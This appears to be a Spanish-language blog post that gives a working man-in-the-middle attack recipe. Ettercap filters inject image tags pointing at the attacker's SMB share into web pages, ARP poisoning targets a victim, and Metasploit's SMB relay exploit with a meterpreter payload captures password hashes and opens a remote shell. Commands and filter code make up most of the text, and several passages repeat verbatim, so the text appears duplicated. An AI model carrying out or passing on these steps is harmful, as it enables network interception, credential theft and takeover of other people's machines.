if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}
La ip que hay que poner en los campos "xxx.xxx.xxx.xxx" es la nuestra. Se puede coger solamente el codigo correspondiente al explorador que vayamos a atacar o meterlos todos a saco.
Una vez editado el filtro (hay quien dice que hay que editarlo con el nano pues si no, no funciona, yo personalmente lo he editado con nano, vi, gedit y kwrite y no me ha dado error...) ejecutarmos la siguiente orden:
etterfilter smb.filter -o smb.ef
Abrimos una nueva consola y arrancamos metasploit. Cuando estemos en la consola del metasploit seleccionamos es exploit "windows/smb/smb_relay" y luego el payload que mas radia nos de (yo personalmente suelo usar un meterpreter (god save the dumphash)) y modificamos el smbhost con la ip que queramos atacar y el lhost con nuestra ip. Una vez puesto todo en orden, exploit, y nos vamos a la otra consola.
En la otra consola, donde estabamos liados con el smb.ef, ejecutamos:
ettercap -T -q -F smb.ef -M ARP /xxx.xxx.xxx.xxx/ // -P autoadd -i ethx
Teniendo en cuenta poner en el campo "xxx.xxx.xxx.xxx" la ip del host a atacar, y sustituyendo "ethx" por nuestro interfaz (eth0, eth1, wlan0, etc...).
Cuando todo este en marcha, si el host remoto se conecta a un recurso compartido vermos el hash en pantalla (luego cada uno que haga con esto lo que quiera) y en el metasploit si cruzamos los dedos, nos ponemos un calcetin en la oreja y todo va bien, tendremos una bonita shell remota abierta...
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
#####################
# Internet Explorer #
#####################
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
replace("</Body>", "<IMG SRC=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
msg("Filter Ran.\n");
}
############################
# Firefox prior to 2.0.0.4 #
############################
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}
###################
# Firefox 2.0.0.4 #
###################
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}
La ip que hay que poner en los campos "xxx.xxx.xxx.xxx" es la nuestra. Se puede coger solamente el codigo correspondiente al explorador que vayamos a atacar o meterlos todos a saco.
Una vez editado el filtro (hay quien dice que hay que editarlo con el nano pues si no, no funciona, yo personalmente lo he editado con nano, vi, gedit y kwrite y no me ha dado error...) ejecutarmos la siguiente orden:
etterfilter smb.filter -o smb.ef
Abrimos una nueva consola y arrancamos metasploit. Cuando estemos en la consola del metasploit seleccionamos es exploit "windows/smb/smb_relay" y luego el payload que mas radia nos de (yo personalmente suelo usar un meterpreter (god save the dumphash)) y modificamos el smbhost con la ip que queramos atacar y el lhost con nuestra ip. Una vez puesto todo en orden, exploit, y nos vamos a la otra consola.
En la otra consola, donde estabamos liados con el smb.ef, ejecutamos:
ettercap -T -q -F smb.ef -M ARP /xxx.xxx.xxx.xxx/ // -P autoadd -i ethx
Teniendo en cuenta poner en el campo "xxx.xxx.xxx.xxx" la ip del host a atacar, y sustituyendo "ethx" por nuestro interfaz (eth0, eth1, wlan0, etc...).
Cuando todo este en marcha, si el host remoto se conecta a un recurso compartido vermos el hash en pantalla (luego cada uno que haga con esto lo que quiera) y en el metasploit si cruzamos los dedos, nos ponemos un calcetin en la oreja y todo va bien, tendremos una bonita shell remota abierta...
Suscribirse a:
Entradas (Atom)